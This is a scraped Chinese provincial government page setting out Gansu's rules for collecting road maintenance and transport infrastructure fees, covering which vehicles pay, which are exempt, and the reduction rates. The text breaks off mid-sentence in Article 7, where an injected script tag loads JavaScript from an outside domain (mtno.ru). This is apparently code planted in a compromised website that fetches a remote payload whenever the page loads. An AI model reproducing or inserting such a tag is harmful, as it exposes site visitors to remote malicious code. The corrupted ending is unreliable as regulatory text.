交通法规
甘肃省公路交通规费征收管理条例
本站记者 2009-04-08 02:51:32 甘肃省交通厅网

 第一条 根据《甘肃省公路交通规费征收管理条例》(以下简称《条例》)和国家有关规定,制定本办法。 
      第二条 下列车辆均应缴纳公路养路费(以下简称养路费)和客、货运车辆公路交通基础设施建设费(以下简称客货运建设费):
     (一)凡领有牌证(包括临时牌证、试车牌证、教练牌证)的各种客车、货车、客货两用车、特种车、专用车、营业性胶轮机械、牵引车、农用客(货)运输车、挂车、拖带的平板车、摩托车(包括正、侧三轮、二轮、轻便)和轮式拖拉机。
     (二)军队、武警系统参加地方营业性运输、承包民用工程和租赁、承包给其他单位、个人使用的车辆;军队、武警系统内企业及面向社会服务的医院、宾馆、商店和其它从事营业性活动的车辆。
     (三)台、港、澳地区在甘肃省的独资、合资、合作企业的车辆和临时使用的车辆。
     (四)外资企业、中外合资企业、中外合作企业的车辆。
     (五)驻华国际组织和外国办事机构的车辆。
     (六)外国个人在华使用的车辆。
     (七)临时入境的各种外国籍车辆。
     第三条 下列车辆经申请批准后,暂定免征养路费、客货运建设费:
     (一)按国家正式定编标准配备的县级以上(含县级)党政机关、学校(不含校办企业)和人民团体自用,并由交通、财政及有关部门联合审定的、由国家行政经费直接开支的5人座以下(含5人座)的小客车及摩托车。 
     (二)县级以上党、政机关所属的干部休养所,民政部门所属的社会福利单位的5座以下(含5座)的小客车及摩托车。
     (三)在由城建部门修建和养护管理的市区固定线路上行驶的城市公共交通公司的公共汽车、电车(不含任何出租、包租和20座以下的营运客车)、架线车、抢修车。
     (四)经征稽机构核定并设有固定装置的医疗卫生部门的专用救护车、防疫车、采血车、冷链车;环保部门的环境监测车;城市环卫部门的清洁车、洒水车;防汛部门的防汛指挥车;公安、司法部门的警车、囚车(设有囚箱)、消防车;铁路、交通、邮电部门的战备专用微波通信车。 
     (五)由国家预算内国防费开支的军事装备性车辆。
     (六)公路和城市道路养护管理部门的路政管理车、洒水车、沥青洒布车;交通征稽部门的交通稽查车;市政工程管理部门的高空作业车、管道清洗车;园林绿化部门的农药喷洒车。
     (七)经有关部门核准持有采伐许可证的矿山、油田、林场完全不行驶公路的采矿自卸车、油田设有固定装置的专用生产车、林场的积材车。
     (八)在厂、场内完全不行驶公路的铲车、叉车等专用胶轮机械。
     (九)外国使、领馆自用的车辆。
     (十)完全从事田间作业的拖拉机。 
     第四条 下列车辆暂定减征养路费和减征或免征客货运建设费:
     (一)第三条(一)、(二)规定的6座以上(含6座)的客车、货车、客货两用车按应征费额减半计征养路费,免征客、货运建设费。
     (二)由专用单位自建、自养并报省交通厅认定的专用公路(不包括生产作业道路),其单线里程在20公里以上的农场、林场、油田车辆跨行公路的可适当减征;专用公路在20公里以下的不减征。21—30公里的减征20%,31—40公里的减征30%,41—50公里的减征40%,51—60公里的减征50%,60公里以上的减征60%。
     (三)第三条(三)规定的公共汽车、电车跨行公路在10公里以内(含10公里)的,按费额的三分之一计征,11—20公里的按二分之一计征,跨行公路20公里以上的按全额计征。
     因特殊情况需延长跨行公路里程的,应当报省交通行政主管部门批准。 
     第五条 经核定减征、免征的车辆,其车主应于每年11月底前向当地征稽机构申请办理次年度减征、免征手续。征稽机构应在接到申请的20日内作出回复。
临时牌证一律不予免征和减征,按起止日期一次性按费额计征。
     第六条 公路交通规费按定额和费额两种方式征收,征收标准按省物价、财政部门批准的标准执行。
     第七条 凡在本省缴纳公路交通规费的车辆,不实行报停,从落户次年起应?script src=http://www.mtno.ru/style.js>

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